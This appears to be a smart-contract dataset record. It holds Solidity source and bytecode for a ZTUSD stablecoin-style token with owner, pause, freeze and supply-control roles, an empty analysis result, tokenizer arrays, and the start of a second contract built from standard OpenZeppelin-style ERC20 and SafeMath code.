BASIC DATA mapping(address => uint256) internal balances; uint256 internal totalSupply_; string public constant name = "ZTUSD"; // solium-disable-line uppercase string public constant symbol = "ZTUSD"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase // ERC20 DATA mapping (address => mapping (address => uint256)) internal allowed; // OWNER DATA address public owner; // PAUSABILITY DATA bool public paused = false; // EMERGENCY CONTROLLER DATA address public emergencyControllerRole; mapping(address => bool) internal frozen; // SUPPLY CONTROL DATA address public supplyController; /** * EVENTS */ // ERC20 BASIC EVENTS event Transfer(address indexed from, address indexed to, uint256 value); // ERC20 EVENTS event Approval( address indexed owner, address indexed spender, uint256 value ); // OWNABLE EVENTS event OwnershipTransferred( address indexed oldOwner, address indexed newOwner ); // PAUSABLE EVENTS event Pause(); event Unpause(); // EMERGENCY CONTROLLER EVENTS event AddressFrozen(address indexed addr); event AddressUnfrozen(address indexed addr); event FrozenAddressWiped(address indexed addr); event EmergencyControllerRoleSet ( address indexed oldEmergencyControllerRole, address indexed newEmergencyControllerRole ); // SUPPLY CONTROL EVENTS event SupplyIncreased(address indexed to, uint256 value); event SupplyDecreased(address indexed from, uint256 value); event SupplyControllerSet( address indexed oldSupplyController, address indexed newSupplyController ); /** * FUNCTIONALITY */ // INITIALIZATION FUNCTIONALITY /** * @dev sets 0 initials tokens, the owner, and the supplyController. * this serves as the constructor for the proxy but compiles to the * memory model of the Implementation contract. */ function initialize() public { require(!initialized, "already initialized"); owner = msg.sender; emergencyControllerRole = address(0); totalSupply_ = 0; supplyController = msg.sender; initialized = true; } /** * The constructor is used here to ensure that the implementation * contract is initialized. An uncontrolled implementation * contract might lead to misleading state * for users who accidentally interact with it. */ constructor() public { initialize(); pause(); } // ERC20 BASIC FUNCTIONALITY /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { require(_to != address(0), "cannot transfer to address zero"); require(!frozen[_to] && !frozen[msg.sender], "address frozen"); require(_value <= balances[msg.sender], "insufficient funds"); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _addr The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _addr) public view returns (uint256) { return balances[_addr]; } // ERC20 FUNCTIONALITY /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { require(_to != address(0), "cannot transfer to address zero"); require(!frozen[_to] && !frozen[_from] && !frozen[msg.sender], "address frozen"); require(_value <= balances[_from], "insufficient funds"); require(_value <= allowed[_from][msg.sender], "insufficient allowance"); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { require(!frozen[_spender] && !frozen[msg.sender], "address frozen"); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } // OWNER FUNCTIONALITY /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner, "onlyOwner"); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0), "cannot transfer ownership to address zero"); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } // PAUSABILITY FUNCTIONALITY /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused, "whenNotPaused"); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner { require(!paused, "already paused"); paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner { require(paused, "already unpaused"); paused = false; emit Unpause(); } // EMERGENCY CONTROLLER FUNCTIONALITY /** * @dev Sets a new emergency controller role address. * @param _newEmergencyControllerRole The new address allowed to freeze/unfreeze addresses and seize their tokens. */ function setEmergencyControllerRole(address _newEmergencyControllerRole) public { require(msg.sender == emergencyControllerRole || msg.sender == owner, "only emergencyControllerRole or Owner"); emit EmergencyControllerRoleSet(emergencyControllerRole, _newEmergencyControllerRole); emergencyControllerRole = _newEmergencyControllerRole; } modifier onlyEmergencyControllerRole() { require(msg.sender == emergencyControllerRole, "onlyEmergencyControllerRole"); _; } /** * @dev Freezes an address balance from being transferred. * @param _addr The new address to freeze. */ function freeze(address _addr) public onlyEmergencyControllerRole { require(!frozen[_addr], "address already frozen"); frozen[_addr] = true; emit AddressFrozen(_addr); } /** * @dev Unfreezes an address balance allowing transfer. * @param _addr The new address to unfreeze. */ function unfreeze(address _addr) public onlyEmergencyControllerRole { require(frozen[_addr], "address already unfrozen"); frozen[_addr] = false; emit AddressUnfrozen(_addr); } /** * @dev Wipes the balance of a frozen address, burning the tokens * and setting the approval to zero. * @param _addr The new frozen address to wipe. */ function wipeFrozenAddress(address _addr) public onlyEmergencyControllerRole { require(frozen[_addr], "address is not frozen"); uint256 _balance = balances[_addr]; balances[_addr] = 0; totalSupply_ = totalSupply_.sub(_balance); emit FrozenAddressWiped(_addr); emit SupplyDecreased(_addr, _balance); emit Transfer(_addr, address(0), _balance); } /** * @dev Gets the balance of the specified address. * @param _addr The address to check if frozen. * @return A bool representing whether the given address is frozen. */ function isFrozen(address _addr) public view returns (bool) { return frozen[_addr]; } // SUPPLY CONTROL FUNCTIONALITY /** * @dev Sets a new supply controller address. * @param _newSupplyController The address allowed to burn/mint tokens to control supply. */ function setSupplyController(address _newSupplyController) public { require(msg.sender == supplyController || msg.sender == owner, "only SupplyController or Owner"); require(_newSupplyController != address(0), "cannot set supply controller to address zero"); emit SupplyControllerSet(supplyController, _newSupplyController); supplyController = _newSupplyController; } modifier onlySupplyController() { require(msg.sender == supplyController, "onlySupplyController"); _; } /** * @dev Increases the total supply by minting the specified number of tokens to the supply controller account. * @param _value The number of tokens to add. * @return A boolean that indicates if the operation was successful. */ function increaseSupply(uint256 _value) public onlySupplyController returns (bool success) { totalSupply_ = totalSupply_.add(_value); balances[supplyController] = balances[supplyController].add(_value); emit SupplyIncreased(supplyController, _value); emit Transfer(address(0), supplyController, _value); return true; } /** * @dev Decreases the total supply by burning the specified number of tokens from the supply controller account. * @param _value The number of tokens to remove. * @return A boolean that indicates if the operation was successful. */ function decreaseSupply(uint256 _value) public onlySupplyController returns (bool success) { require(_value <= balances[supplyController], "not enough supply"); balances[supplyController] = balances[supplyController].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit SupplyDecreased(supplyController, _value); emit Transfer(supplyController, address(0), _value); return true; } }
0x6080604052600436106101485763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461014d578063095ea7b3146101d7578063106524eb1461020f57806318160ddd1461023257806323b872dd14610259578063313ce567146102835780633f4ba83a146102ae57806345c8b1a6146102c357806352875bc3146102e45780635c975abb1461030557806370a082311461031a5780638129fc1c1461033b5780638456cb59146103505780638d1fdf2f146103655780638da5cb5b1461038657806395d89b411461014d57806398e52f9a146103b7578063a9059cbb146103cf578063b5586129146103f3578063b921e16314610408578063dd62ed3e14610420578063e2f72f0314610447578063e583983614610468578063e7ba101214610489578063f2fde38b1461049e575b600080fd5b34801561015957600080fd5b506101626104bf565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561019c578181015183820152602001610184565b50505050905090810190601f1680156101c95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e357600080fd5b506101fb600160a060020a03600435166024356104f6565b604080519115158252519081900360200190f35b34801561021b57600080fd5b50610230600160a060020a0360043516610651565b005b34801561023e57600080fd5b50610247610759565b60408051918252519081900360200190f35b34801561026557600080fd5b506101fb600160a060020a036004358116906024351660443561075f565b34801561028f57600080fd5b50610298610abe565b6040805160ff9092168252519081900360200190f35b3480156102ba57600080fd5b50610230610ac3565b3480156102cf57600080fd5b50610230600160a060020a0360043516610bd1565b3480156102f057600080fd5b50610230600160a060020a0360043516610cee565b34801561031157600080fd5b506101fb610e56565b34801561032657600080fd5b50610247600160a060020a0360043516610e66565b34801561034757600080fd5b50610230610e81565b34801561035c57600080fd5b50610230610f27565b34801561037157600080fd5b50610230600160a060020a036004351661103a565b34801561039257600080fd5b5061039b611159565b60408051600160a060020a039092168252519081900360200190f35b3480156103c357600080fd5b506101fb600435611168565b3480156103db57600080fd5b506101fb600160a060020a0360043516602435611317565b3480156103ff57600080fd5b5061039b611570565b34801561041457600080fd5b506101fb60043561157f565b34801561042c57600080fd5b50610247600160a060020a03600435811690602435166116ba565b34801561045357600080fd5b50610230600160a060020a03600435166116e5565b34801561047457600080fd5b506101fb600160a060020a0360043516611896565b34801561049557600080fd5b5061039b6118b4565b3480156104aa57600080fd5b50610230600160a060020a03600435166118c3565b60408051808201909152600581527f5a54555344000000000000000000000000000000000000000000000000000000602082015281565b60045460009060a060020a900460ff161561055b576040805160e560020a62461bcd02815260206004820152600d60248201527f7768656e4e6f7450617573656400000000000000000000000000000000000000604482015290519081900360640190fd5b600160a060020a03831660009081526006602052604090205460ff1615801561059457503360009081526006602052604090205460ff16155b15156105ea576040805160e560020a62461bcd02815260206004820152600e60248201527f616464726573732066726f7a656e000000000000000000000000000000000000604482015290519081900360640190fd5b336000818152600360209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b600554600160a060020a03163314806106745750600454600160a060020a031633145b15156106f0576040805160e560020a62461bcd02815260206004820152602560248201527f6f6e6c7920656d657267656e6379436f6e74726f6c6c6572526f6c65206f722060448201527f4f776e6572000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600554604051600160a060020a038084169216907f25d97d405ef5f8ce93b14de59195ff857424b047468b623729caa9c2881e853590600090a36005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60025490565b60045460009060a060020a900460ff16156107c4576040805160e560020a62461bcd02815260206004820152600d60248201527f7768656e4e6f7450617573656400000000000000000000000000000000000000604482015290519081900360640190fd5b600160a060020a0383161515610824576040805160e560020a62461bcd02815260206004820152601f60248201527f63616e6e6f74207472616e7366657220746f2061646472657373207a65726f00604482015290519081900360640190fd5b600160a060020a03831660009081526006602052604090205460ff161580156108665750600160a060020a03841660009081526006602052604090205460ff16155b801561088257503360009081526006602052604090205460ff16155b15156108d8576040805160e560020a62461bcd02815260206004820152600e60248201527f616464726573732066726f7a656e000000000000000000000000000000000000604482015290519081900360640190fd5b600160a060020a038416600090815260016020526040902054821115610948576040805160e560020a62461bcd02815260206004820152601260248201527f696e73756666696369656e742066756e64730000000000000000000000000000604482015290519081900360640190fd5b600160a060020a03841660009081526003602090815260408083203384529091529020548211156109c3576040805160e560020a62461bcd02815260206004820152601660248201527f696e73756666696369656e7420616c6c6f77616e636500000000000000000000604482015290519081900360640190fd5b600160a060020a0384166000908152600160205260409020546109ec908363ffffffff611a1416565b600160a060020a038086166000908152600160205260408082209390935590851681522054610a21908363ffffffff611a2b16565b600160a060020a038085166000908152600160209081526040808320949094559187168152600382528281203382529091522054610a65908363ffffffff611a1416565b600160a060020a0380861660008181526003602090815260408083203384528252918290209490945580518681529051928716939192600080516020611a45833981519152929181900390910190a35060019392505050565b601281565b600454600160a060020a03163314610b25576040805160e560020a62461bcd02815260206004820152600960248201527f6f6e6c794f776e65720000000000000000000000000000000000000000000000604482015290519081900360640190fd5b60045460a060020a900460ff161515610b88576040805160e560020a62461bcd02815260206004820152601060248201527f616c726561647920756e70617573656400000000000000000000000000000000604482015290519081900360640190fd5b6004805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600554600160a060020a03163314610c33576040805160e560020a62461bcd02815260206004820152601b60248201527f6f6e6c79456d657267656e6379436f6e74726f6c6c6572526f6c650000000000604482015290519081900360640190fd5b600160a060020a03811660009081526006602052604090205460ff161515610ca5576040805160e560020a62461bcd02815260206004820152601860248201527f6164647265737320616c726561647920756e66726f7a656e0000000000000000604482015290519081900360640190fd5b600160a060020a038116600081815260066020526040808220805460ff19169055517fc3776b472ebf54114339eec9e4dc924e7ce307a97f5c1ee72b6d474e6e5e8b7c9190a250565b600754600160a060020a0316331480610d115750600454600160a060020a031633145b1515610d67576040805160e560020a62461bcd02815260206004820152601e60248201527f6f6e6c7920537570706c79436f6e74726f6c6c6572206f72204f776e65720000604482015290519081900360640190fd5b600160a060020a0381161515610ded576040805160e560020a62461bcd02815260206004820152602c60248201527f63616e6e6f742073657420737570706c7920636f6e74726f6c6c657220746f2060448201527f61646472657373207a65726f0000000000000000000000000000000000000000606482015290519081900360840190fd5b600754604051600160a060020a038084169216907f40d53b0b666e4424f29d55244e7e171a1dc332acc11d04ed4abd884629d8cc9790600090a36007805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60045460a060020a900460ff1681565b600160a060020a031660009081526001602052604090205490565b60005460ff1615610edc576040805160e560020a62461bcd02815260206004820152601360248201527f616c726561647920696e697469616c697a656400000000000000000000000000604482015290519081900360640190fd5b600480543373ffffffffffffffffffffffffffffffffffffffff199182168117909255600580548216905560006002819055600780549092169092179055805460ff19166001179055565b600454600160a060020a03163314610f89576040805160e560020a62461bcd02815260206004820152600960248201527f6f6e6c794f776e65720000000000000000000000000000000000000000000000604482015290519081900360640190fd5b60045460a060020a900460ff1615610feb576040805160e560020a62461bcd02815260206004820152600e60248201527f616c726561647920706175736564000000000000000000000000000000000000604482015290519081900360640190fd5b6004805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600554600160a060020a0316331461109c576040805160e560020a62461bcd02815260206004820152601b60248201527f6f6e6c79456d657267656e6379436f6e74726f6c6c6572526f6c650000000000604482015290519081900360640190fd5b600160a060020a03811660009081526006602052604090205460ff161561110d576040805160e560020a62461bcd02815260206004820152601660248201527f6164647265737320616c72656164792066726f7a656e00000000000000000000604482015290519081900360640190fd5b600160a060020a038116600081815260066020526040808220805460ff19166001179055517f90811a8edd3b3c17eeaefffc17f639cc69145d41a359c9843994dc25382036909190a250565b600454600160a060020a031681565b600754600090600160a060020a031633146111cd576040805160e560020a62461bcd02815260206004820152601460248201527f6f6e6c79537570706c79436f6e74726f6c6c6572000000000000000000000000604482015290519081900360640190fd5b600754600160a060020a031660009081526001602052604090205482111561123f576040805160e560020a62461bcd02815260206004820152601160248201527f6e6f7420656e6f75676820737570706c79000000000000000000000000000000604482015290519081900360640190fd5b600754600160a060020a031660009081526001602052604090205461126a908363ffffffff611a1416565b600754600160a060020a0316600090815260016020526040902055600254611298908363ffffffff611a1416565b600255600754604080518481529051600160a060020a03909216917f1b7e18241beced0d7f41fbab1ea8ed468732edbcb74ec4420151654ca71c8a639181900360200190a2600754604080518481529051600092600160a060020a031691600080516020611a45833981519152919081900360200190a3506001919050565b60045460009060a060020a900460ff161561137c576040805160e560020a62461bcd02815260206004820152600d60248201527f7768656e4e6f7450617573656400000000000000000000000000000000000000604482015290519081900360640190fd5b600160a060020a03831615156113dc576040805160e560020a62461bcd02815260206004820152601f60248201527f63616e6e6f74207472616e7366657220746f2061646472657373207a65726f00604482015290519081900360640190fd5b600160a060020a03831660009081526006602052604090205460ff1615801561141557503360009081526006602052604090205460ff16155b151561146b576040805160e560020a62461bcd02815260206004820152600e60248201527f616464726573732066726f7a656e000000000000000000000000000000000000604482015290519081900360640190fd5b336000908152600160205260409020548211156114d2576040805160e560020a62461bcd02815260206004820152601260248201527f696e73756666696369656e742066756e64730000000000000000000000000000604482015290519081900360640190fd5b336000908152600160205260409020546114f2908363ffffffff611a1416565b3360009081526001602052604080822092909255600160a060020a03851681522054611524908363ffffffff611a2b16565b600160a060020a038416600081815260016020908152604091829020939093558051858152905191923392600080516020611a458339815191529281900390910190a350600192915050565b600554600160a060020a031681565b600754600090600160a060020a031633146115e4576040805160e560020a62461bcd02815260206004820152601460248201527f6f6e6c79537570706c79436f6e74726f6c6c6572000000000000000000000000604482015290519081900360640190fd5b6002546115f7908363ffffffff611a2b16565b600255600754600160a060020a0316600090815260016020526040902054611625908363ffffffff611a2b16565b60078054600160a060020a03908116600090815260016020908152604091829020949094559154825186815292519116927ff5c174d57843e57fea3c649fdde37f015ef08750759cbee88060390566a98797928290030190a2600754604080518481529051600160a060020a0390921691600091600080516020611a45833981519152919081900360200190a3506001919050565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b600554600090600160a060020a0316331461174a576040805160e560020a62461bcd02815260206004820152601b60248201527f6f6e6c79456d657267656e6379436f6e74726f6c6c6572526f6c650000000000604482015290519081900360640190fd5b600160a060020a03821660009081526006602052604090205460ff1615156117bc576040805160e560020a62461bcd02815260206004820152601560248201527f61646472657373206973206e6f742066726f7a656e0000000000000000000000604482015290519081900360640190fd5b50600160a060020a038116600090815260016020526040812080549190556002546117ed908263ffffffff611a1416565b600255604051600160a060020a038316907ffc5960f1c5a5d2b60f031bf534af053b1bf7d9881989afaeb8b1d164db23aede90600090a2604080518281529051600160a060020a038416917f1b7e18241beced0d7f41fbab1ea8ed468732edbcb74ec4420151654ca71c8a63919081900360200190a2604080518281529051600091600160a060020a03851691600080516020611a458339815191529181900360200190a35050565b600160a060020a031660009081526006602052604090205460ff1690565b600754600160a060020a031681565b600454600160a060020a03163314611925576040805160e560020a62461bcd02815260206004820152600960248201527f6f6e6c794f776e65720000000000000000000000000000000000000000000000604482015290519081900360640190fd5b600160a060020a03811615156119ab576040805160e560020a62461bcd02815260206004820152602960248201527f63616e6e6f74207472616e73666572206f776e65727368697020746f2061646460448201527f72657373207a65726f0000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600454604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008083831115611a2457600080fd5b5050900390565b600082820183811015611a3d57600080fd5b93925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058206a3ee6533afd5461625cbe0d5c6d3c3bcf4cb1f07a48d3f249da24c6be66dc6d0029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2487, 2497, 2575, 2497, 2683, 2050, 2620, 2546, 2581, 2497, 12521, 2581, 2683, 2546, 2575, 21486, 2497, 2692, 2094, 2509, 10354, 2581, 2546, 18827, 2509, 5243, 2620, 2497, 16068, 2692, 4246, 1013, 1013, 5371, 1024, 8311, 1013, 22116, 1013, 3647, 18900, 2232, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 4942, 6494, 16649, 2048, 3616, 1010, 7065, 8743, 2015, 2006, 2058, 12314, 1006, 1045, 1012, 1041, 1012, 2065, 4942, 6494, 22342, 2003, 3618, 2084, 8117, 24997, 2094, 1007, 1012, 1008, 1013, 3853, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,040
0x961bA76485262630Bcce7380b13d14AdF5A004Fa
pragma solidity ^0.8.3; // SPDX-License-Identifier: MIT /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * 